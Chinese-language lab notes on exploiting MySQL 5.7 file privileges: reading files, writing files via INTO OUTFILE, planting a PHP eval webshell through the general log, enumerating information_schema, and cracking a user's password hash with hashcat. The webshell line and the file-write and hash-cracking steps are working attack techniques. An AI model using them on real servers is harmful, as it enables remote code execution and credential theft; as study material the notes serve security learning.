1、如何利用数据库的功能读写文件,需要什么样的条件才可以读写
2、学习数据库系统表的功能,如何利用 sql 语句查询库名、表名、字段名、内容以及当前用户等基本信息,将学习过程中关键部分整理成报告
扩展学习:尝试查询出用户的 hash,并使用 hashcat 来对获取的 hash 进行暴力破解
环境:
ubuntu: 18
mysql: 5.7.29
用户:new_user@localhost
参考于:
该参数用来限制数据导入和导出操作的效果,该值会限制LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数可作用的文件位置(需要file 权限),在MySQL 5.7.6版本引入。
–secure-file-priv=name Limit LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() to files within specified directory
参数值 |
说明 |
NULL |
MySQL服务会禁止导入和导出操作 |
目录名(默认值为/var/lib/mysql-files/ ) |
MySQL服务只允许在这个目录中执行文件的导入和导出操作 |
空(注意不是NULL) |
表示不对读写文件进行限制 |
| mysql> show global variables like "%secure_file_priv%"; |
| +------------------+-------+ |
| | Variable_name | Value | |
| +------------------+-------+ |
| | secure_file_priv | | |
| +------------------+-------+ |
| 1 row in set (0.01 sec) |
查询语句为
| show global variables like "%secure_file_priv%"; |
查看用户权限
| show grants for new_user@localhost; |
添加 file权限给new_user
| grant file on *.* to 'new_user'@'localhost'; |
| flush privileges; |
FILE权限是对所有数据库文件而言的,因此数据库只能写成*.*
,而不是某一个数据库
需注意secure_file_priv
参数为只读参数,不能用set global 命令修改
| mysql> set global secure_file_priv = '' ; |
| ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable |
需修改配置文件my.cnf
或my.ini
,并重启mysql.
- 操作文件路径满足
secure_file_priv
条件
- 当前数据库用户拥有file的权限
- 文件大小小于max_allowed_packet。load_file()函数受到这个值的限制。
- 有文件的完整路径
查看方式:
| mysql> show global variables like 'max_allowed%'; |
| +--------------------+----------+ |
| | Variable_name | Value | |
| +--------------------+----------+ |
| | max_allowed_packet | 16777216 | |
| +--------------------+----------+ |
| 1 row in set (0.01 sec) |
修改方式
| set global max_allowed_packet = 5*1024*1024; |
- 操作文件路径满足
secure_file_priv
条件
- 当前数据库用户拥有file的权限
- 有文件的完整路径
参考:mysql 读取文件的方法
先在`/tmp/下添加文件
运行mysql
| mysql> SELECT LOAD_FILE('/tmp/1.txt') AS Result; |
| +--------+ |
| | Result | |
| +--------+ |
| | 123 |
| | |
| +--------+ |
| 1 row in set (0.00 sec) |
已经有权限,load_file结果依旧为NULL的解决方案和讨论
这个问题好像在ubuntu有
这个要提前建表
| create table user (cmd varchar(100)); |
| mysql> load data infile '/tmp/1.txt' into table user; |
| Query OK, 1 row affected (0.00 sec) |
| Records: 1 Deleted: 0 Skipped: 0 Warnings: 0 |
详细使用
参考:
MySQL的system命令在渗透测试中的使用以及UDF提权
在MySQL 5.x中增加了system命令,简单的符号是!,从而使MySQL可以执行系统的命令
| mysql> \! whoami |
| xz |
| mysql> system cat /tmp/1.txt |
| 123 |
参考于:Mysql注入中的outfile,dumpfile,load_file
test.txt无需提前创建。
| mysql> select * from user_info into outfile '/tmp/test.txt'; |
| Query OK, 4 rows affected (0.00 sec) |
| mysql> select " " into outfile '/tmp/cmd.php'; |
| Query OK, 1 row affected (0.00 sec) |
需要注意的是,dumpfile只能输出一行。
| select * from user_info into dumpfile '/tmp/test.txt'; |
| select " " into dumpfile '/tmp/cmd.php'; |
| system sudo nano /var/www/html/test/cmd.php |
查看权限
| mysql> show global variables like "%genera%"; |
| +----------------------------------------+---------------------------+ |
| | Variable_name | Value | |
| +----------------------------------------+---------------------------+ |
| | auto_generate_certs | ON | |
| | general_log | OFF | |
| | general_log_file | /var/lib/mysql/ubuntu.log | |
| | sha256_password_auto_generate_rsa_keys | ON | |
| +----------------------------------------+---------------------------+ |
| 4 rows in set (0.01 sec) |
默认为OFF
| mysql> set global general_log='on'; |
| Query OK, 0 rows affected (0.00 sec) |
| |
| mysql> set global general_log_file='/tmp/shell.php'; |
| Query OK, 0 rows affected (0.00 sec) |
| select ‘<?php @eval($_POST["cmd"]); ?>’; |
之后会写到日志文件中
| xz@ubuntu:/tmp$ sudo cat shell.php |
| /usr/sbin/mysqld, Version: 5.7.29-0ubuntu0.18.04.1 ((Ubuntu)). started with: |
| Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock |
| Time Id Command Argument |
| 2020-03-29T13:27:31.893854Z 8 Query select '' |
如果想把远程数据库的查询结果写到本地主机文件上, 可用:
| mysql -h hostname -P portnum -u username -p databsename -e "SELECT ..." > file_name |
参考于:
MySQL 数据库系统表的利用,老哥好猛
Mysql5.7中自带四个数据库
[mysql中information_schema说明](https://www.cnblogs.com/lyftest/p/8034470.html)
当涉及到数据库时,关于模式有很多困惑。 经常会出现一个问题,即架构和数据库之间是否存在差异,如果有差异,会有什么区别。
取决于供应商
造成混乱的部分原因是数据库系统倾向于以自己的方式处理模式。
-
[MySQL文档]()指出,从物理上讲,模式与数据库同义。 因此,模式和数据库是同一件事。
-
但是,Oracle数据库文档指出某些对象可以存储在数据库中,但不能存储在模式中。 因此,模式和数据库是两个不同的事物。
-
根据此SQL Server技术文章,架构是数据库内部的一个单独实体。 因此,它们是两件事。
因此,取决于您使用的RDBMS,方案和数据库可能相同也可能不同。
| mysql> show databases; |
| +--------------------+ |
| | Database | |
| +--------------------+ |
| | information_schema | |
| | mysql | |
| | performance_schema | |
| | sys | |
| +--------------------+ |
| 4 rows in set (0.00 sec) |
库名 |
视图数量 |
库数量 |
information_schema |
61 |
0 |
mysql |
0 |
31 |
performance_schema |
0 |
87 |
sys |
100 |
1(sys_config) |
information_schema提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有时用于表述该信息的其他术语包括“数据词典”和“系统目录”。换句换说,information_schema是一个信息数据库,它保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。
常用的视图为SCHEMATA
、 COLUMNS
、TABLES
、user_privileges
。
schemata表提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。该表对应的列说明如下
列名 |
中文解释 |
例子 |
catalog_name |
|
|
schema_name |
数据库名 |
|
default_character_set_name |
数据库默认编码 |
utf8 |
default_collation_name |
|
utf8_general_ci |
sql_path |
|
null |
SQL_PATH列的之总为NULL。
| mysql> select * from information_schema.schemata; |
| +--------------+--------------------+----------------------------+------------------------+----------+ |
| | CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | |
| +--------------+--------------------+----------------------------+------------------------+----------+ |
| | def | information_schema | utf8 | utf8_general_ci | NULL | |
| | def | demo | latin1 | latin1_swedish_ci | NULL | |
| | def | learn_sql | latin1 | latin1_swedish_ci | NULL | |
| | def | mysql | latin1 | latin1_swedish_ci | NULL | |
| | def | performance_schema | utf8 | utf8_general_ci | NULL | |
| | def | sys | utf8 | utf8_general_ci | NULL | |
| +--------------+--------------------+----------------------------+------------------------+----------+ |
| 6 rows in set (0.00 sec) |
tables表提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,show tables from database_name
的结果取之此表。
| mysql> desc tables; |
| +-----------------+---------------------+------+-----+---------+-------+ |
| | Field | Type | Null | Key | Default | Extra | |
| +-----------------+---------------------+------+-----+---------+-------+ |
| | TABLE_CATALOG | varchar(512) | NO | | | | |
| | TABLE_SCHEMA | varchar(64) | NO | | | | |
| | TABLE_NAME | varchar(64) | NO | | | | |
| | TABLE_TYPE | varchar(64) | NO | | | | |
| | ENGINE | varchar(64) | YES | | NULL | | |
| | VERSION | bigint(21) unsigned | YES | | NULL | | |
| | ROW_FORMAT | varchar(10) | YES | | NULL | | |
| | TABLE_ROWS | bigint(21) unsigned | YES | | NULL | | |
| | AVG_ROW_LENGTH | bigint(21) unsigned | YES | | NULL | | |
| | DATA_LENGTH | bigint(21) unsigned | YES | | NULL | | |
| | MAX_DATA_LENGTH | bigint(21) unsigned | YES | | NULL | | |
| | INDEX_LENGTH | bigint(21) unsigned | YES | | NULL | | |
| | DATA_FREE | bigint(21) unsigned | YES | | NULL | | |
| | AUTO_INCREMENT | bigint(21) unsigned | YES | | NULL | | |
| | CREATE_TIME | datetime | YES | | NULL | | |
| | UPDATE_TIME | datetime | YES | | NULL | | |
| | CHECK_TIME | datetime | YES | | NULL | | |
| | TABLE_COLLATION | varchar(32) | YES | | NULL | | |
| | CHECKSUM | bigint(21) unsigned | YES | | NULL | | |
| | CREATE_OPTIONS | varchar(255) | YES | | NULL | | |
| | TABLE_COMMENT | varchar(2048) | NO | | | | |
| +-----------------+---------------------+------+-----+---------+-------+ |
| 21 rows in set (0.00 sec) |
columns表提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname(数据库名).tablename(表名)的结果取之此表。
| mysql> desc columns; |
| +--------------------------+---------------------+------+-----+---------+-------+ |
| | Field | Type | Null | Key | Default | Extra | |
| +--------------------------+---------------------+------+-----+---------+-------+ |
| | TABLE_CATALOG | varchar(512) | NO | | | | |
| | TABLE_SCHEMA | varchar(64) | NO | | | | |
| | TABLE_NAME | varchar(64) | NO | | | | |
| | COLUMN_NAME | varchar(64) | NO | | | | |
| | ORDINAL_POSITION | bigint(21) unsigned | NO | | 0 | | |
| | COLUMN_DEFAULT | longtext | YES | | NULL | | |
| | IS_NULLABLE | varchar(3) | NO | | | | |
| | DATA_TYPE | varchar(64) | NO | | | | |
| | CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES | | NULL | | |
| | CHARACTER_OCTET_LENGTH | bigint(21) unsigned | YES | | NULL | | |
| | NUMERIC_PRECISION | bigint(21) unsigned | YES | | NULL | | |
| | NUMERIC_SCALE | bigint(21) unsigned | YES | | NULL | | |
| | DATETIME_PRECISION | bigint(21) unsigned | YES | | NULL | | |
| | CHARACTER_SET_NAME | varchar(32) | YES | | NULL | | |
| | COLLATION_NAME | varchar(32) | YES | | NULL | | |
| | COLUMN_TYPE | longtext | NO | | NULL | | |
| | COLUMN_KEY | varchar(3) | NO | | | | |
| | EXTRA | varchar(30) | NO | | | | |
| | PRIVILEGES | varchar(80) | NO | | | | |
| | COLUMN_COMMENT | varchar(1024) | NO | | | | |
| | GENERATION_EXPRESSION | longtext | NO | | NULL | | |
| +--------------------------+---------------------+------+-----+---------+-------+ |
| 21 rows in set (0.00 sec) |
user_privileges(用户权限)表给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表
列名 |
中文解释 |
例子/说明 |
grantee |
|
例如“user’@’host” |
table_catalog |
|
|
privilege_type |
权限类型 |
例如:select、drop等 |
is_grantable |
是否授权,即是否拥有“将此权限赋予其他用户”的权限,对应mysql.user表中的grant_priv字段 |
例如:YES或NO |
schema_privileges(方案权限)表给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表
列名 |
中文解释 |
例子/说明 |
grantee |
|
例“user’@’host” |
table_catalog |
|
|
table_schema |
数据库名 |
|
privilege_type |
权限类型 |
|
is_grantable |
是否授权 |
例如:YES或NO |
| st=>start: Start |
| op=>operation: 查看数据库名 |
| op1=>operation: 使用某数据库 |
| op2=>operation: 查看表名 |
| op3=>operation: 查看某表的列名或结构 |
| op4=>operation: 执行操作 |
| op5=>operation: 递归回去,依此检测错误 |
| cond=>condition: 结果是否正确 |
| e=>end |
| |
| st->op->op1->op2->op3->op4->cond |
| cond(yes)->e |
| cond(no)->op5->e |
| # 当前用户名 |
| select user(); |
| +----------------+ |
| | user() | |
| +----------------+ |
| | root@localhost | |
| +----------------+ |
| # 获取用户权限 |
| mysql> select * from information_schema.user_privileges where grantee like '%new_user%'; |
| +------------------------+---------------+----------------+--------------+ |
| | GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE | |
| +------------------------+---------------+----------------+--------------+ |
| | 'new_user'@'localhost' | def | FILE | NO | |
| +------------------------+---------------+----------------+--------------+ |
| 1 row in set (0.00 sec) |
| |
| # 查询数据库 |
| show databases; |
| select schema_name from information_schema.schemata; |
| |
| #通过库名选择数据库 |
| use database_name #也可以直接通过多表查询 |
| |
| #查看当前库里的表格 |
| show tables; |
| select table_name from information_schema.tables where table_schema='database_name' |
| |
| # 通过表名来查询表的结构 |
| desc tablename; |
| |
| # 查询某表的所有列 |
| Select column_name from information_schema.columns where table_name='table_name' |
| |
| #获取列中信息 |
| select *** from *** |
mysql的核心数据库,类似于sql server中的master表,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。(常用的,在mysql.user表中修改用户的密码)。常用关键字有user
、host
、authentication_string
或password
主要用于收集数据库服务器性能参数。并且库里表的存储引擎均为PERFORMANCE_SCHEMA,而用户是不能创建存储引擎为PERFORMANCE_SCHEMA的表。MySQL5.7默认是开启的。
Sys库所有的数据源来自:performance_schema。目标是把performance_schema的把复杂度降低,让DBA能更好的阅读这个库里的内容。让DBA更快的了解DB的运行情况。
要求:
扩展学习:尝试查询出用户的 hash,并使用 hashcat 来对获取的 hash 进行暴力破解
介绍:
hashcat is the world’s fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to help enable distributed password cracking.
下载安装:
幸运的是,kali2自带hashcat ,但虚拟机跑起来有点问题
GIthub地址:https://github.com/hashcat/hashcat
详细的使用教程:Hashcat使用总结-先知平台
| mysql> select host,user,authentication_string from user where user = "new_user"; |
| +-----------+----------+-------------------------------------------+ |
| | host | user | authentication_string | |
| +-----------+----------+-------------------------------------------+ |
| | localhost | new_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 | |
| +-----------+----------+-------------------------------------------+ |
| 1 row in set (0.00 sec) |
| hashcat -a 3 -m 300 --force 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 ?d?d?d?d?d?d |
可能遇到问题:
* Device #1: This device’s constant buffer size is too small.
* Device #1: This device’s local mem size is too small.
No devices found/left.
解决方法:
将处理器改成单处理且单核
补充了数据库读写的相关知识